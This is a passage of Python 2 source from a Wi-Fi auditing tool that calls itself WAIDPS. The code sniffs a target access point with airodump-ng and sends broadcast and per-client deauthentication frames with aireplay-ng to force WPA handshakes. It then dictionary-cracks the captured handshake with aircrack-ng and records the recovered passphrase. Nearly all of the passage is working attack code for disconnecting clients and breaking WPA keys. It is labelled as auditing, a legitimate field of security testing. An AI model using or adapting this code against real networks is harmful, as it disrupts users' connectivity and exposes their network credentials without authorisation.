                cmd="aircrack-ng -w " + str(DICTIONARYUSE) + " -l " + str(__builtin__.WPAKeyFile) + " \x22" + str(fileuse) + "\x22 > " + str(tmpstatus)
                cmdLine="xterm -geometry 100x5-0-150 -iconic -bg black -fg white -fn 5x8 -title 'WAIDPS - Cracking WPA Key' -e '" + str(cmd) + "'"
                ps=subprocess.Popen(cmdLine , shell=True, stdout=subprocess.PIPE,stderr=open(os.devnull, 'w'),preexec_fn=os.setsid)
                __builtin__.TStart=Now()
                print ""
                while WPA_CRACKED=="":
                    while sys.stdin in select.select([sys.stdin], [], [], 0)[0]:
                        usr_resp = sys.stdin.readline()
                        if usr_resp:
                            print ""
                            LineBreak()
                            printc ("i",fcolor.BBlue + "Auditing Menu [WPA]","")
                            DisplayAPDetail()
                            MSG=""
                            MSG=MSG + tabspacefull + fcolor.BRed + "1 " + fcolor.SWhite + " - Stop Auditing\n"
                            MSG=MSG + tabspacefull +fcolor.BRed + "2 " + fcolor.SWhite + " - Change Dictionary\n" 
                            MSG=MSG + tabspacefull +fcolor.BRed + "0" + fcolor.SWhite + " - Return"
                            print MSG
                            usr_resp=AskQuestion("Select an option",fcolor.BRed + "0" + fcolor.BYellow + " - Return","U"," ","1")
                            print ""
                            if usr_resp!="0":
                                print ""
                                if usr_resp=="1":
                                    LineBreak()
                                    DisplayComplete(__builtin__.TStart)
                                    ShutDownAuditingWindows()
                                    print "";printc ("x","","")
                                    OptAuditing("")
                                    return;
                            elif usr_resp=="2":
                                LineBreak()
                                DeauthBroadcast(__builtin__.ATTACK_AP_BSSID,__builtin__.SELECTED_MON,5)
                            else:
                                retkey=""
                    if IsFileDirExist(tmpstatus)=="F":
                        Result=""
                        timelapse="";keytested="";rate="";curpassphase="";
                        with open(tmpstatus,"r") as f:
                            for line in f:
                                sline=str(line).replace("\n","").lstrip().rstrip()
                                if str(sline).find("keys tested")!=-1:
                                    crackstarted="1"
                                    sline=str(sline).replace("(","").replace(")","")
                                    tmps=[]
                                    tmps=str(sline).split(" ")
                                    if len(tmps)>4:
                                        timelapse=str(tmps[0]).replace("[","").replace("]","")[-8:]
                                        keytested=str(tmps[1])
                                        rate=str(tmps[4])
                                if str(sline).find("Current passphrase: ")!=-1:
                                    PS1=sline.index("Current passphrase: ")
                                    PS1=PS1+20
                                    PS2=len(sline)
                                    curpassphase=sline[PS1:PS2]
                                if str(sline).find("Passphrase not in dictionary")!=-1:
                                    printl (tabspacefull + fcolor.SWhite + Now() + " - " + fcolor.SBlack + str(timelapse) + fcolor.BRed + "  Cracking Failed... Passphase not found in dictionary !!!" ,"0","")
                                    print ""
                                    WPA_CRACKED="2"
                                if len(sline)>0:
                                    Result=Result + sline +"\n"
                        if str(curpassphase)!="" and WPA_CRACKED!="2":
                            printl (tabspacefull + fcolor.SWhite + Now() + " - " + fcolor.SBlack + str(timelapse) + fcolor.SGreen + " Cracking WPA Pre-Shared Key - " + fcolor.BGreen + str(keytested) + fcolor.SGreen + " keys tested [Rate " + fcolor.BGreen + str(rate) + fcolor.SGreen + " k/sec], Current Passphase : [ " + fcolor.BWhite + str(curpassphase) + fcolor.SGreen + " ]" ,"0","")
                        if str(Result)=="":
                            blankct=blankct+1
                            if blankct==10:
                                if crackstarted=="1":
                                    printl (tabspacefull + fcolor.SWhite + Now() + " - " + fcolor.SBlack + str(timelapse) + fcolor.BRed + "  Cracking Failed... Passphase not found in dictionary !!!" ,"0","")
                                else:
                                    printl (tabspacefull + fcolor.SWhite + Now() + " - " + fcolor.SBlack + str(timelapse) + fcolor.BRed + "  Cracking Failed... Aircrack-NG failed to read packets !!!" ,"0","")
                                print ""
                                WPA_CRACKED="2"
                        else:
                            blankct=0
                        if Result!="":
                            open(tmpstatus,"w").write("")
                    if IsFileDirExist(__builtin__.WPAKeyFile)=="F":
                         WPA_KEY=""
                         with open(__builtin__.WPAKeyFile,"r") as f:
                             for line in f:
                                 sline=str(line).replace("\n","")
                                 if len(sline)>0:
                                     WPA_KEY=WPA_KEY + sline +"\n"
                         WPA_KEY=str(WPA_KEY).replace("\n","")
                         if str(WPA_KEY)!="":
                             WPA_CRACKED="1"
                    time.sleep(1)
            else:
                print fcolor.BRed + tabspacefull + str(msg) + " !!!"
                if Auto=="":
                    printc ("x","","")
                    LineBreak()
                CrackWPAKey(HS_File,Auto)
                return
    ShutDownAuditingWindows()
    if WPA_CRACKED=="1" and IsFileDirExist(str(__builtin__.WPAKeyFile))=="F":
        DisplayComplete(__builtin__.TStart)
        DelFile(__builtin__.WPAKeyFile,"")
        print ""
        printc (" ",fcolor.SGreen + "Dictionary use : " + fcolor.SWhite + str(DICTIONARYUSE),"")
        print"";print ""
        printc ("i",fcolor.SWhite + Now() + " - " + fcolor.BBlue + "WPA Pre-Shared Key for Access Point [ " + fcolor.BYellow +str(FBSSID) + fcolor.BBlue + " ], ESSID [ " + fcolor.BPink + str(FESSID) + fcolor.BBlue + " ] successfully cracked.. ","")
        printc (" ","\t\t\t  - " + fcolor.BBlue + "WPA Pre-Shared Key Found [ " + fcolor.BRed +str(WPA_KEY) + fcolor.BBlue + " ]","")
        print ""
        AddCrackDB(FBSSID,EncType,WPA_KEY,FESSID,fileuse,"","")
    if WPA_CRACKED!="":
        if DICTIONARYUSE!="":
            printc (" ",fcolor.SGreen + "Dictionary use : " + fcolor.SWhite + str(DICTIONARYUSE),"")
        LineBreak()
        DisplayComplete(__builtin__.TStart)
        if Auto=="":
            printc ("x","","")
            LineBreak()
        return
    LineBreak()
    printc ("x","","")
    return

def AttackWPAProc(TargetMAC,TargetChannel,ClentList,Auto):
    __builtin__.ATTACK_AP_PDATA=""
    __builtin__.ATTACK_AP_PBEACON=""
    __builtin__.DB_HSSAVED="0"
    __builtin__.HandshakeSaved_Aircrack=""
    TargetMAC2=str(TargetMAC).replace(":","")
    if Auto=="":
        printc ("i",fcolor.BBlue + "WPA Handshake Capturing","")
        printc (" ",fcolor.SWhite + "Application will send broadcast deauthentication signal to all clients connected to the selected access point and also send targeted deauthentication signal between client and access point if any clients were found connected to the access point.\n","")
    HS_File=savedir + "Handshake_" + TargetMAC2 + "*.cap"
    FFILE=[]
    FFILE=glob.glob(HS_File)
    if len(FFILE)>0:
        HS_File2=FFILE[0]
        if Auto=="":
            print ""
            printc ("i",fcolor.BGreen + "Total [ " + fcolor.BRed + str(len(FFILE)) + fcolor.BGreen + " ] handshake files found !!","")
            printc (" ", fcolor.BRed + "1" + fcolor.SWhite + " - Crack existing capture " + fcolor.SGreen + str(HS_File),"")
            printc (" ", fcolor.BRed + "2" + fcolor.SWhite + " - Capture new handshake","")
            printc (" ", fcolor.BRed + "3" + fcolor.SWhite + " - List existing handshake files","")
            printc (" ", fcolor.BRed + "4" + fcolor.SWhite + " - Abort","")
            Qus=fcolor.BPink + "Enter your option"
            usr_resp=AskQuestion(Qus,"1/2/3/4 " + fcolor.SWhite + "Default-1","U","1","1")
            LineBreak()
            if usr_resp=="2":
                CaptureNew=1
            elif usr_resp=="3":
                DisplayCapturedFile(HS_File)
                AttackWPAProc(TargetMAC,TargetChannel,ClentList,"")
                return
            elif usr_resp=="4":
                if __builtin__.LIVE_MON=="":
                    OptAuditing("")
                return
            else:
                CrackWPAKey(HS_File,"")
                return
        else:
            CaptureNew=1
    if Auto=="":
        if len(__builtin__.CUR_CLIENT)>0:
            usr_resp=AskQuestion(fcolor.BGreen + "Previous scan found [ " + fcolor.BRed + str(len(__builtin__.CUR_CLIENT)) + fcolor.BGreen + " ] client, Rescan for client ?","Y/n","U","Y","1")
            if usr_resp!="Y":
                __builtin__.CUR_CLIENT=[]
        __builtin__.TStart=Now()
        print "\n"
        printc ("i",fcolor.BGreen + "Time Start : " + fcolor.SWhite + str(__builtin__.TStart),"")
    else:
        __builtin__.CUR_CLIENT=[]
    FName=tmpdir + "WPA_" + str(TargetMAC).replace(":","") + "_TMP"
    DelFile(FName + "*.*","")
    print ""
    printc (".",fcolor.SWhite + Now() + " - " + fcolor.SGreen + "Starting Sniffer for Access Point [ " + fcolor.SYellow +str(TargetMAC) + fcolor.SGreen + " ]..","")
    cmdLine="xterm -geometry 100x20-0-200 -iconic -bg black -fg white -fn 5x8 -title 'WAIDPS - Sniffing Packet' -e 'airodump-ng --bssid " + TargetMAC  + " -c" + str(TargetChannel) + " -w " + FName + " " + str(__builtin__.SELECTED_ATK) + " | tee " + tmpdir + "SNIF_RESULT.txt" + "'"
    ps=subprocess.Popen(cmdLine , shell=True, stdout=subprocess.PIPE,stderr=open(os.devnull, 'w'),preexec_fn=os.setsid)		
    __builtin__.Sniffer=ps.pid
    WPA_HANDSHAKE=""
    NEWCLIENT=[]
    DAUTHCT=0
    CHECKFS=""
    __builtin__.CapFile=FName + "-01.cap"
    while WPA_HANDSHAKE=="":
        os.system('clear')
        CenterText(fcolor.BWhite + fcolor.BGRed, "AUDITING WPA/WPA2 NETWORK")
        print ""
        DisplayAPDetail()
        ClientA=len(__builtin__.CUR_CLIENT)
        if ClientA==0:
            printc ("!!!","NO CLIENT AVAILABLE FOR DEAUTHENTICATION, HANDSHAKE CAPTURING IS NOT AVAILABLE.","")
        if str(__builtin__.CapFileSize)!="" and int(__builtin__.CapFileSize)>3000000 and __builtin__.DB_HSSAVED=="0":
            printc ("!!!","Captured Packets filesize is getting big but still without any valid handshake. Restarting.... ","")
            KillSubProc(__builtin__.Sniffer)
            DelFile(FName + "*.*","")
            Search="WAIDPS - Sniffing"
            KillProc(Search)
            AttackWPAProc(TargetMAC,TargetChannel,ClentList,"1")
            return
        t=0
        retkey=""
        if CHECKFS=="":
            print ""
            FS=0
            NW=Now()
            while FS<240:
                if IsFileDirExist(FName + "-01.csv")=="F": 
                    statinfo = os.stat(FName + "-01.csv")
                    FS=statinfo.st_size
                else:
                    FS=0
                PrintText=fcolor.BBlue + str(NW) + " - " +  "Locating Access Point [ " + fcolor.BYellow + __builtin__.ATTACK_AP_BSSID + fcolor.BBlue + " ] on Channel " + fcolor.BYellow + __builtin__.ATTACK_AP_CH + fcolor.BBlue + ", Please wait...."
                bcolor=fcolor.SWhite
                pcolor=fcolor.BGreen
                tcolor=fcolor.SGreen
                s=bcolor + "[" + pcolor + str(t) + bcolor + "]" + __builtin__.tabspace + tcolor + PrintText + "\r"
                sl=len(s)-3
                print s,
                sys.stdout.flush()
                time.sleep(1)
                t=t+1
                s=""
                ss="\r"
                print "" + s.ljust(sl) + ss,
                sys.stdout.flush()
                if t>60:
                    usr_resp=AskQuestion(fcolor.BGreen + "Access point still not located, continue ?" + fcolor.BGreen,"y/N","U","N","1")
                    if usr_resp=="Y":
                        NW=Now()
                        t=1
                    else:
                        LineBreak()
                        KillSubProc(__builtin__.Sniffer)
                        DelFile(FName + "*.*","")
                        OptAuditing("")
                        return;
            CHECKFS=statinfo.st_size
        
        DAUTHCT=int(DAUTHCT)+1
        if DAUTHCT>5:
            DAUTHCT=1
        NORESULT="1";TCL_ACK=0;TAP_ACK=0
        if __builtin__.WPA_AUTOCLIENT=="ON":
            printc (".",fcolor.SWhite + Now() + " - " + fcolor.BRed + "Broadcasting Deauthentication Signal To All Clients..." + fcolor.SGreen + " (x" + str(DAUTHCT) + ") ","")
            cmd = [ "aireplay-ng","-0", str(DAUTHCT),"-a", str(__builtin__.ATTACK_AP_BSSID), str(__builtin__.SELECTED_ATK)]
            ps = Popen(cmd, stdout=PIPE, stderr=open(os.devnull))
            ps.wait()
            if len(ClentList)>0:
                x=0
                while x<len(ClentList):
                    CLIENTMAC=ClentList[x]
                    print ""
                    printc (".",fcolor.SWhite + Now() + " - " + fcolor.BRed + "Sending Deauthentication Signal To Client : " + fcolor.BYellow + CLIENTMAC + fcolor.SGreen + " (x" + str(DAUTHCT) + ") ","")
                    printc (" ","First Seen  : " + fcolor.SWhite + str(__builtin__.CUR_CLIENT_FS[x]).lstrip() + fcolor.SGreen + "\t  Last Seen : " + fcolor.SWhite + str(__builtin__.CUR_CLIENT_LS[x]).lstrip() + fcolor.SGreen + "\tPower : " + fcolor.SWhite + str(__builtin__.CUR_CLIENT_PWR[x]).lstrip() + " dBm"+ fcolor.SGreen + "    \tFrames : " + fcolor.SWhite + str(__builtin__.CUR_CLIENT_DATA[x]).lstrip() + "","")
                    CLIENTOUI=str(DisplayOUIDetail(CLIENTMAC,fcolor.BYellow)).replace("\n","")
                    CLIENTOUI="    " + str(CLIENTOUI).replace("MAC Addr",fcolor.SGreen + "MAC Addr   ").replace("]",fcolor.SGreen + "]").replace("] ]",fcolor.SCyan + "]" + fcolor.SGreen + " ]")
                    print CLIENTOUI
                    cmd = [ "aireplay-ng","-0", str(DAUTHCT),"-a", str(__builtin__.ATTACK_AP_BSSID),"-c", str(CLIENTMAC), str(__builtin__.SELECTED_ATK)]
                    ps = Popen(cmd, stdout=PIPE, stderr=open(os.devnull))
                    lines=ps.communicate()
                    lines=str(lines).replace("\\r\\n","\t")
                    lines=str(lines).split("\t")
                    lines=RearrangeReturn(lines)
                    for line in lines:
                        line=str(line).replace("\n","").replace("\r","")
                        if line!="":
                            lina=str(line).replace("\x00","").replace("[","").replace("]","").replace("|"," ").replace("  "," ").replace(" ",",")
                            lina=lina+",,,,,,,,,"
                            LSPLIT=str(lina).split(",")
                            if len(LSPLIT)>9:
                                if LSPLIT[5]=="STMAC:" and len(LSPLIT[6])==17 and LSPLIT[9]=="ACKs":
                                     T_PKTS=int(LSPLIT[2])*2
                                     CL_ACK=LSPLIT[7]
                                     TCL_ACK=TCL_ACK + int(CL_ACK)
                                     if int(CL_ACK)==0:
                                         CL_ACK=fcolor.BRed + str(CL_ACK)
                                     AP_ACK=LSPLIT[8]
                                     TAP_ACK=TAP_ACK+int(AP_ACK)
                                     if int(AP_ACK)==0:
                                         AP_ACK=fcolor.BRed + str(AP_ACK)
                                     printc (" ",fcolor.SGreen + "Packet Sent : " + fcolor.BGreen + str(T_PKTS) + fcolor.SGreen + "\t\tAccess Point [ " + fcolor.SWhite + __builtin__.ATTACK_AP_BSSID + fcolor.SGreen + " ] ACKs : " + fcolor.BGreen + str(AP_ACK) + fcolor.SGreen + "\tClient [ " + fcolor.SWhite + CLIENTMAC + fcolor.SGreen + " ] ACKs : " + fcolor.BGreen + str(CL_ACK),"")
                                     NORESULT=""
                    x += 1
        else:
            if str(__builtin__.WPA_DEAUTH_MAC)!="":
                print ""
                CLIENTMAC=__builtin__.WPA_DEAUTH_MAC
                printc (".",fcolor.SWhite + Now() + " - " + fcolor.BRed + "Sending Deauthentication Signal To Selected Client : " + fcolor.BYellow + CLIENTMAC + fcolor.SGreen + " (x" + str(DAUTHCT) + ") ","")
                printc (" ","First Seen  : " + fcolor.SWhite + str(__builtin__.SCUR_CLIENT_FS).lstrip() + fcolor.SGreen + "\t  Last Seen : " + fcolor.SWhite + str(__builtin__.SCUR_CLIENT_LS).lstrip() + fcolor.SGreen + "\tPower : " + fcolor.SWhite + str(__builtin__.SCUR_CLIENT_PWR).lstrip() + " dBm"+ fcolor.SGreen + "    \tFrames : " + fcolor.SWhite + str(__builtin__.SCUR_CLIENT_DATA).lstrip() + "","")
                CLIENTOUI=str(DisplayOUIDetail(CLIENTMAC,fcolor.BYellow)).replace("\n","")
                CLIENTOUI="    " + str(CLIENTOUI).replace("MAC Addr",fcolor.SGreen + "MAC Addr   ").replace("]",fcolor.SGreen + "]").replace("] ]",fcolor.SCyan + "]" + fcolor.SGreen + " ]")
                print CLIENTOUI
                cmd = [ "aireplay-ng","-0", str(DAUTHCT),"-a", str(__builtin__.ATTACK_AP_BSSID),"-c", str(CLIENTMAC), str(__builtin__.SELECTED_ATK)]
                ps = Popen(cmd, stdout=PIPE, stderr=open(os.devnull))
                lines=ps.communicate()
                lines=str(lines).replace("\\r\\n","\t")
                lines=str(lines).split("\t")
                lines=RearrangeReturn(lines)
                for line in lines:
                    line=str(line).replace("\n","").replace("\r","")
                    if line!="":
                        lina=str(line).replace("\x00","").replace("[","").replace("]","").replace("|"," ").replace("  "," ").replace(" ",",")
                        lina=lina+",,,,,,,,,"
                        LSPLIT=str(lina).split(",")
                        if len(LSPLIT)>9:
                            if LSPLIT[5]=="STMAC:" and len(LSPLIT[6])==17 and LSPLIT[9]=="ACKs":
                                T_PKTS=int(LSPLIT[2])*2
                                CL_ACK=LSPLIT[7]
                                TCL_ACK=TCL_ACK + int(CL_ACK)
                                if int(CL_ACK)==0:
                                    CL_ACK=fcolor.BRed + str(CL_ACK)
                                AP_ACK=LSPLIT[8]
                                TAP_ACK=TAP_ACK+int(AP_ACK)
                                if int(AP_ACK)==0:
                                    AP_ACK=fcolor.BRed + str(AP_ACK)
                                printc (" ",fcolor.SGreen + "Packet Sent : " + fcolor.BGreen + str(T_PKTS) + fcolor.SGreen + "\t\tAccess Point [ " + fcolor.SWhite + __builtin__.ATTACK_AP_BSSID + fcolor.SGreen + " ] ACKs : " + fcolor.BGreen + str(AP_ACK) + fcolor.SGreen + "\tClient [ " + fcolor.SWhite + CLIENTMAC + fcolor.SGreen + " ] ACKs : " + fcolor.BGreen + str(CL_ACK),"")
                                NORESULT=""
        if NORESULT=="1":
            printc ("!",fcolor.SRed + "No Result !!","")
        else:
            MSG=""
            if int(TCL_ACK)==0:
                MSG=MSG + "No acknowledgement received from Client"
            if int(TAP_ACK)==0:
                if MSG=="":
                    MSG="No acknowledgement received from Access Point"
                else:
                    MSG="No acknowledgement received from Access Point and Client"
            if MSG!="":
                printc (" ",fcolor.SRed + MSG,"")
        WPA_HANDSHAKE=CheckHandshake(__builtin__.CapFile,__builtin__.ATTACK_AP_BSSID,__builtin__.ATTACK_AP_ESSID)
        if WPA_HANDSHAKE=="1":
            x=len(ClentList)
        else:
            while sys.stdin in select.select([sys.stdin], [], [], 0)[0]:
                usr_resp = sys.stdin.readline()
                if usr_resp:
                    x=len(ClentList)
                    retkey="1"
        if WPA_HANDSHAKE=="":
            if retkey=="":
                retkey=WaitProcessing(10,1)
            while retkey!="":
                LineBreak()
                printc ("i",fcolor.BBlue + "Auditing Menu [WPA Handshake]","")
                MSG=""
                DisplayAPDetail()
                DAMAC=""
                if str(__builtin__.WPA_DEAUTH_MAC)!="":
                    DAMAC=fcolor.SWhite + "  Deauth MAC : " + fcolor.BRed +  str(__builtin__.WPA_DEAUTH_MAC)
                MSG=MSG + tabspacefull + fcolor.BRed + "1/O" + fcolor.SWhite + " - St" + fcolor.BYellow + "o" + fcolor.SWhite + "p Auditing\n"
                MSG=MSG + tabspacefull + fcolor.BRed + "2/D" + fcolor.SWhite + " - " + fcolor.BYellow + "D" + fcolor.SWhite + "eauth Broadcast / Client\n"
                MSG=MSG + tabspacefull + fcolor.BRed + "3/C" + fcolor.SWhite + " - List " + fcolor.BYellow + "C" + fcolor.SWhite + "lients\n"
                MSG=MSG + tabspacefull + fcolor.BRed + "4/V" + fcolor.SWhite + " - " + fcolor.BYellow + "V" + fcolor.SWhite + "iew Handshake Captured\n"
                MSG=MSG + tabspacefull + fcolor.BRed + "5/A" + fcolor.SWhite + " - " + fcolor.BYellow + "A" + fcolor.SWhite + "utomatic Deauth Found Client" + fcolor.SGreen + " - " + str(__builtin__.WPA_AUTOCLIENT) + str(DAMAC) + "\n"
                MSG=MSG + tabspacefull + fcolor.BRed + "9/R" + fcolor.SWhite + " - " + fcolor.BYellow + "R" + fcolor.SWhite + "estart Auditing\n"
                MSG=MSG + tabspacefull + fcolor.BRed + "0/T" + fcolor.SWhite + " - Re" + fcolor.BYellow + "t" + fcolor.SWhite + "urn\n"
                print MSG
                usr_resp=AskQuestion("Select an option",fcolor.BRed + "0" + fcolor.BYellow + " - Return","U"," ","1")
                if usr_resp!="0"  or usr_resp=="T":
                    print ""
                    if usr_resp=="1" or usr_resp=="O":
                        LineBreak()
                        DisplayComplete(__builtin__.TStart)
                        KillSubProc(__builtin__.Sniffer)
                        ShutDownAuditingWindows()
                        DelFile(FName + "*.*","")
                        print "";printc ("x","","")
                        if __builtin__.LIVE_MON=="":
                            OptAuditing("")
                        return;
                    elif usr_resp=="2" or usr_resp=="D":
                        LineBreak()
                        printc (".",fcolor.BRed + "Broadcasting Deauthentication Signal To All Clients..." + fcolor.SGreen + " (x" + str(DAUTHCT) + ") ","")
                        cmd = [ "aireplay-ng","-0", str(DAUTHCT),"-a", str(__builtin__.ATTACK_AP_BSSID), str(__builtin__.SELECTED_ATK)]
                        ps = Popen(cmd, stdout=PIPE, stderr=open(os.devnull))
                        ps.wait()
                    elif usr_resp=="3" or usr_resp=="C":
                        if len(__builtin__.CUR_CLIENT)>0:
                            ListClientFound()
                        else:
                            printc ("!",fcolor.SRed + "No client found !!","")
                    elif usr_resp=="9"  or usr_resp=="R":
                        printc ("i",fcolor.BGreen + "Restarting capturing process .....","")
                        KillSubProc(__builtin__.Sniffer)
                        DelFile(FName + "*.*","")
                        Search="WAIDPS - Sniffing"
                        KillProc(Search)
                        __builtin__.HS_File="";__builtin__.HS_FileFull="";__builtin__.HS_FileStrict="";__builtin__.HS_FileStrictFull=""
                        AttackWPAProc(TargetMAC,TargetChannel,ClentList,"1")
                        return
                    elif usr_resp=="5" or usr_resp=="A":
                        LineBreak()
                        if len(__builtin__.CUR_CLIENT)>0:
                            ListClientFound()
                        if str(__builtin__.WPA_DEAUTH_MAC)!="":
                            printc ("i",fcolor.BGreen + "Current Deauth Client MAC : " + fcolor.BRed + str(__builtin__.WPA_DEAUTH_MAC),"")
                        MAC=str(AskQuestion("Enter the Client MAC to Deauth xx:xx:xx:xx:xx:xx :",fcolor.SGreen + "Default - Remove MAC ","U","NIL","")).lstrip().rstrip()
                        if MAC!="" and MAC!="NIL":
                            if MAC.isdigit()==True:
                                if int(MAC.isdigit())-1<int(len(__builtin__.CUR_CLIENT)):
                                    MAC=__builtin__.CUR_CLIENT[int(MAC)-1]
                                    printc (" ",fcolor.SWhite + " Selected ==> " + fcolor.BYellow + str(MAC),"")
                            if len(MAC)!=17 or IsHex(MAC)==False:
                                printc ("!!!","Invalid MAC Address Entered !","")
                                print ""
                            elif MAC!="NIL": 
                                __builtin__.WPA_DEAUTH_MAC=MAC
                                __builtin__.WPA_AUTOCLIENT="OFF"
                                mi=FindMACIndex(MAC,__builtin__.CUR_CLIENT_FS)
                                __builtin__.SCUR_CLIENT_FS=__builtin__.CUR_CLIENT_FS[mi]
                                __builtin__.SCUR_CLIENT_LS=__builtin__.CUR_CLIENT_LS[mi]
                                __builtin__.SCUR_CLIENT_PWR=__builtin__.CUR_CLIENT_PWR[mi]
                                __builtin__.SCUR_CLIENT_DATA=__builtin__.CUR_CLIENT_DATA[mi]
                                __builtin__.SCUR_CLIENT_PROBE=__builtin__.CUR_CLIENT_PROBE[mi]
                                print ""
                                printc ("i",fcolor.BPink + "Selected Client MAC Address To Deauth : " + fcolor.BRed + str(MAC),"")
                                printc (" ",fcolor.SWhite + "Please note that application will only send deauthentication signal to access point and station MAC address.","")
                                printc (" ",fcolor.SWhite + "Broadcast deauthentication to all stations will be disabled..\n","")
                            else:
                                __builtin__.WPA_AUTOCLIENT="ON"
                                __builtin__.WPA_DEAUTH_MAC=""
                    elif usr_resp=="4"  or usr_resp=="V":
                        ManualCheckHandShake(__builtin__.CapFile)
                    else:
                        LineBreak()
                else:
                    retkey=""
            LineBreak()
            NEWCLIENT=GetClientFromCSV (FName + "-01.csv")
            if len(NEWCLIENT)>0:
                __builtin__.CUR_CLIENT=__builtin__.NEW_CLIENT
                ClentList=__builtin__.NEW_CLIENT
                __builtin__.CUR_CLIENT_FS=__builtin__.NEW_CLIENT_FS
                __builtin__.CUR_CLIENT_LS=__builtin__.NEW_CLIENT_LS
                __builtin__.CUR_CLIENT_PWR=__builtin__.NEW_CLIENT_PWR
                __builtin__.CUR_CLIENT_DATA=__builtin__.NEW_CLIENT_DATA
                __builtin__.CUR_CLIENT_PROBE=__builtin__.NEW_CLIENT_PROBE
         
    DisplayComplete(__builtin__.TStart)
    KillSubProc(__builtin__.Sniffer)
    ShutDownAuditingWindows()
    DelFile(FName + "*.*","")
    LineBreak()
    if IsFileDirExist(__builtin__.HS_FileStrictFull)=="F":
        CrackWPAKey(__builtin__.HS_FileStrictFull,"1")
    printc ("x","","")
    if __builtin__.LIVE_MON=="":
        OptAuditing("")
 
    return

def ManualCheckHandShake(capfile):
    printl (tabspacefull + fcolor.BGreen + "Analysing detail.... Please wait....","0","")
    HANDSHAKE_LIST1=[];HANDSHAKE_LIST1R=[];HANDSHAKE_LIST2=[];HANDSHAKE_LIST2R=[];HANDSHAKE_LIST3=[];HANDSHAKE_LIST3R=[];HANDSHAKE_LIST4=[];HANDSHAKE_LIST4R=[]
    ARW=" -> "
    eapol="eapol" # || wlan_mgt.tag.interpretation"
    cmd = ['tshark','-t','ad','-r',capfile , '-R', eapol, '-n']
    proc = Popen(cmd, stdout=PIPE, stderr=open(os.devnull))
    proc.wait()
    HS1=0;HS2=0;HS3=0;HS4=0;SQL=0;SQL_MATCH="";linelist=[];ARW=" -> "
    lc=0
    lines = proc.communicate()[0].split('\n')
    printl ("","0","")
    if len(lines)>1:
        LineBreak()
        printc ("i",fcolor.BBlue + "Found Handshake Data","")
        for line in lines:
            FRMAC=""
            TOMAC=""
            DTYPE=""
            MSGC=""
            line=str(line).replace("  "," ").replace("  "," ").replace("  "," ")
            if line!="":
                lc=lc+1 
                spc=""
                if lc<10:
                  spc=" "
                printc (fcolor.SGreen + str(lc),str(spc) + fcolor.SWhite + line,"")
            linelist=line.split(" ")
            if len(linelist)>11:
                FRMAC=str(linelist[3]).upper()
                TOMAC=str(linelist[5]).upper()
                DTYPE=str(linelist[6]).upper()
                MSGC=str(linelist[10]).upper()
            if DTYPE=="EAPOL" and str(line).find("(Message ")!=-1:
                M1=0;M2=0;M3=0;M4=0;AM=""
                if MSGC=="1":
                    M1=1;AM="1";HS1=int(HS1)+1;SQL=1
                if MSGC=="2":
                    M2=1;AM="2";HS2=int(HS2)+1
                    if SQL==1:
                        SQL=2
                if MSGC=="3":
                    M3=1;AM="3";HS3=int(HS3)+1
                    if SQL==2:
                        SQL=3
                if MSGC=="4":
                    M4=1;AM="4";HS4=int(HS4)+1
                    if SQL==3:
                        SQL=4;SQL_MATCH=1
                if MSGC=="1" or MSGC=="3":
                    FRTOMAC=str(FRMAC) + str(ARW) + str(TOMAC) # + "[" + str(AM) + "]"
                    TOFRMAC=str(TOMAC) + str(ARW) + str(FRMAC)
                if MSGC=="2" or MSGC=="4":
                    TOFRMAC=str(FRMAC) + str(ARW) + str(TOMAC) 
                    FRTOMAC=str(TOMAC) + str(ARW) + str(FRMAC)
                Result1=Find2MACIndex(FRTOMAC, HANDSHAKE_LIST1)
                if Result1==-1:
                    HANDSHAKE_LIST1.append (str(FRTOMAC))
                    HANDSHAKE_LIST1R.append (str(M1))
                    HANDSHAKE_LIST3.append (str(FRTOMAC))
                    HANDSHAKE_LIST3R.append (str(M3))
                    HANDSHAKE_LIST2.append (str(TOFRMAC))
                    HANDSHAKE_LIST2R.append (str(M2))
                    HANDSHAKE_LIST4.append (str(TOFRMAC))
                    HANDSHAKE_LIST4R.append (str(M4))
                else:
                    HANDSHAKE_LIST1R[Result1]=int(HANDSHAKE_LIST1R[Result1]) + int(M1)
                    HANDSHAKE_LIST2R[Result1]=int(HANDSHAKE_LIST2R[Result1]) + int(M2)
                    HANDSHAKE_LIST3R[Result1]=int(HANDSHAKE_LIST3R[Result1]) + int(M3)
                    HANDSHAKE_LIST4R[Result1]=int(HANDSHAKE_LIST4R[Result1]) + int(M4)
        if len(HANDSHAKE_LIST1)>0:
            print ""
            printc (" ",fcolor.BWhite + "AP>ST" + fcolor.BBlue + " [ ANounce (1) / GTK+MIC (3)]\t\t" + fcolor.BWhite + " ST>AP " + fcolor.BBlue + " SNounce (2) / Ack (4)","")
            hsc=0;FULL4WAY="";print ""
            while hsc<len(HANDSHAKE_LIST1):
                list=[];OUI=""
                list=str(HANDSHAKE_LIST1[hsc]).split(" ")
                CLMAC=str(list[2])
                OUI=Check_OUI(CLMAC,"")
                DPART1=str(HANDSHAKE_LIST1[hsc]) + " = " +  str(HANDSHAKE_LIST1R[hsc]) + " / " + str(HANDSHAKE_LIST3R[hsc])
                DPART1=str(DPART1).ljust(50) + " ."
                DPART1=str(DPART1).replace(str(ARW),fcolor.SRed + str(ARW) + fcolor.SGreen).replace("/",fcolor.SWhite + "/" + fcolor.BWhite).replace("=",fcolor.SWhite + "=" + fcolor.BWhite)
                DPART2=str(HANDSHAKE_LIST2[hsc]) + " = " +  str(HANDSHAKE_LIST2R[hsc]) + " / " + str(HANDSHAKE_LIST4R[hsc])
                DPART2=str(DPART2).ljust(50) + " ."
                DPART2=str(DPART2).replace(str(ARW),fcolor.SRed + str(ARW) + fcolor.SPink).replace("/",fcolor.SWhite + "/" + fcolor.BWhite).replace("=",fcolor.SWhite + "=" + fcolor.BWhite)
                M1=int(HANDSHAKE_LIST1R[hsc])
                M2=int(HANDSHAKE_LIST2R[hsc])
                M3=int(HANDSHAKE_LIST3R[hsc])
                M4=int(HANDSHAKE_LIST4R[hsc])
                Status=""
                if M1>0 and M2>0 and M3>0 and M4>0:
                    Status=fcolor.BRed + "  [Full 4 Ways]";FULL4WAY="1"
                if M1>0 and M2==0 and M3>0 and M4>0:
                    Status=fcolor.BRed + "  [Partial 3 Ways]"
                if M1>0 and M2>0 and Status=="":
                    Status=fcolor.BRed + "  [Msg 1 & 2]"
                DMIX=str(fcolor.SPink + DPART1 + fcolor.SGreen + DPART2).replace(" ."," ")
                print tabspacefull + str(DMIX) + fcolor.SCyan + str(OUI) + Status + ""
                hsc=hsc+1
